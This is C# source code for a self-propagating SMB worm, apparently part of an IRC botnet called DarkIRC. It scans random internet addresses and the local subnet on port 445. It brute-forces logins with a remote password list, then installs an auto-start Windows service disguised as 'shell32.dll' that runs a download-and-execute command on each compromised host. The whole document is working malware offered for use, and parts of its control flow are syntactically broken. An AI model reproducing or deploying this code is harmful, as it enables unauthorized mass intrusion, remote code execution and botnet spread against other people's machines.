SMB Retard - SMB Worm library in C#

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;

namespace DarkIRC
{
    class SMB
    {

        public static string dlexe = IRC.dlexecmd;
        public static int bruteSubThreads = 64;
//password list can be viewed in this paste https://pastebin.com/6jiaGSNz


        public static void TestPW(string ip, string user, string passwd)
        {
            ip = "\\" + ip;
            try
            {
                using (var scmHandle = NativeMethods.OpenSCManager(ip, null, NativeMethods.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE))
                {
                    if (scmHandle.IsInvalid)
                    {
                        return;
                    }
                    using (
                         var serviceHandle = NativeMethods.CreateService(
                             scmHandle,
                             "shell32.dll",
                             "shell32.dll",
                             NativeMethods.SERVICE_ACCESS.SERVICE_ALL_ACCESS,
                             NativeMethods.SERVICE_TYPES.SERVICE_WIN32_OWN_PROCESS,
                             NativeMethods.SERVICE_START_TYPES.SERVICE_AUTO_START,
                             NativeMethods.SERVICE_ERROR_CONTROL.SERVICE_ERROR_NORMAL,
                             "C:\\Windows\\System32\\CMD.exe /C " + dlexe,
                             null,
                             IntPtr.Zero,
                             null,
                             user,
                             passwd))
                    {
                        if (serviceHandle.IsInvalid)
                        {
                            return;
                        }
                    }
                }
            }
            catch
            {

            }
        }
        public static void SMBHaxx(string ip)
        {
            int count = 0;
            Thread[] threads = new Thread[bruteSubThreads];
            for (var u = 0; u < users.Length - 1; u++)
            {
                for (var p = 0; p < passwords.Length - 1; p++)
                {
                    threads[count] = new Thread(() => TestPW(ip, users[u], passwords[p]));
                    threads[count].Start();
                    count++;
                    if (count > bruteSubThreads)
                    {
                        for (int i = 0; i < bruteSubThreads; i++)
                        {
                            threads[i].Join();
                        }
                        count = 0;
                        GC.Collect();

                    }
                }
            }
        }

        public static void WorkGroup()
        {
            while (true)
            {
                using (TcpClient tcpClient = new TcpClient())
                {
                    try //scan an ipv4 address
                    {
                        var data = new byte[4];
                        new Random().NextBytes(data);
                        while (data[0] == 192 || data[0] == 10 || data[0] == 127 || data[0] == 169 || data[0] == 172)
                        {
                            new Random().NextBytes(data);
                        }
                        IPAddress ip = new IPAddress(data);
                        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                        // Connect using a timeout (5 seconds)

                        IAsyncResult result = socket.BeginConnect(ip, 445, null, null);

                        bool success = result.AsyncWaitHandle.WaitOne(1000, true);

                        if (socket.Connected)
                        {
                            socket.EndConnect(result);
                            SMBHaxx(ip.ToString());
                        }
                        else
                        {
                            socket.Close();
                        }
                    }
                    catch (Exception)
                    {
                    }
                    try //scan an ipv6 address
                    {
                        var data = new byte[16];
                        new Random().NextBytes(data);
                        IPAddress ip = new IPAddress(data);
                        Socket socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);

                        IAsyncResult result = socket.BeginConnect(ip, 445, null, null);

                        bool success = result.AsyncWaitHandle.WaitOne(1000, true);

                        if (socket.Connected)
                        {
                            socket.EndConnect(result);
                            SMBHaxx(ip.ToString());
                        }
                        else
                        {
                            socket.Close();
                        }
                    }
                    catch (Exception)
                    {
                    }
                }
            }
        }
        public static void internalNetwork()
        {
            try
            {
                                var host = Dns.GetHostEntry(Dns.GetHostName());
                                foreach (var ip in host.AddressList)
                                {
                                    if (ip.AddressFamily == AddressFamily.InterNetwork)
                                    {
                                        string subnet = String.Join(".", ip.ToString().Split(".".ToCharArray()[0]).Skip(2));
                                        for (int i = 0; i < 255; i++)
                                        {
                                            for (var ii = 1; ii < 254; ii++)
                                            {
                                                byte[] data = new byte[4] { Convert.ToByte(int.Parse(subnet.Split(".".ToCharArray()[0])[0])), Convert.ToByte(int.Parse(subnet.Split(".".ToCharArray()[0])[1])), Convert.ToByte(i), Convert.ToByte(ii) };
                                                IPAddress thisip = new IPAddress(data);
                                                Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                                                // Connect using a timeout (5 seconds)

                                                IAsyncResult result = socket.BeginConnect(thisip, 445, null, null);

                                                bool success = result.AsyncWaitHandle.WaitOne(1000, true);

                                                if (socket.Connected)
                                                {
                                                    socket.EndConnect(result);
                                                    SMBHaxx(thisip.ToString());
                                                }
                                                else
                                                {
                                                    socket.Close();
                                                }
                                            }
                                        }


                                    }
                                }

                            }

                finally
                {



            }
            catch { }
        }
    }
}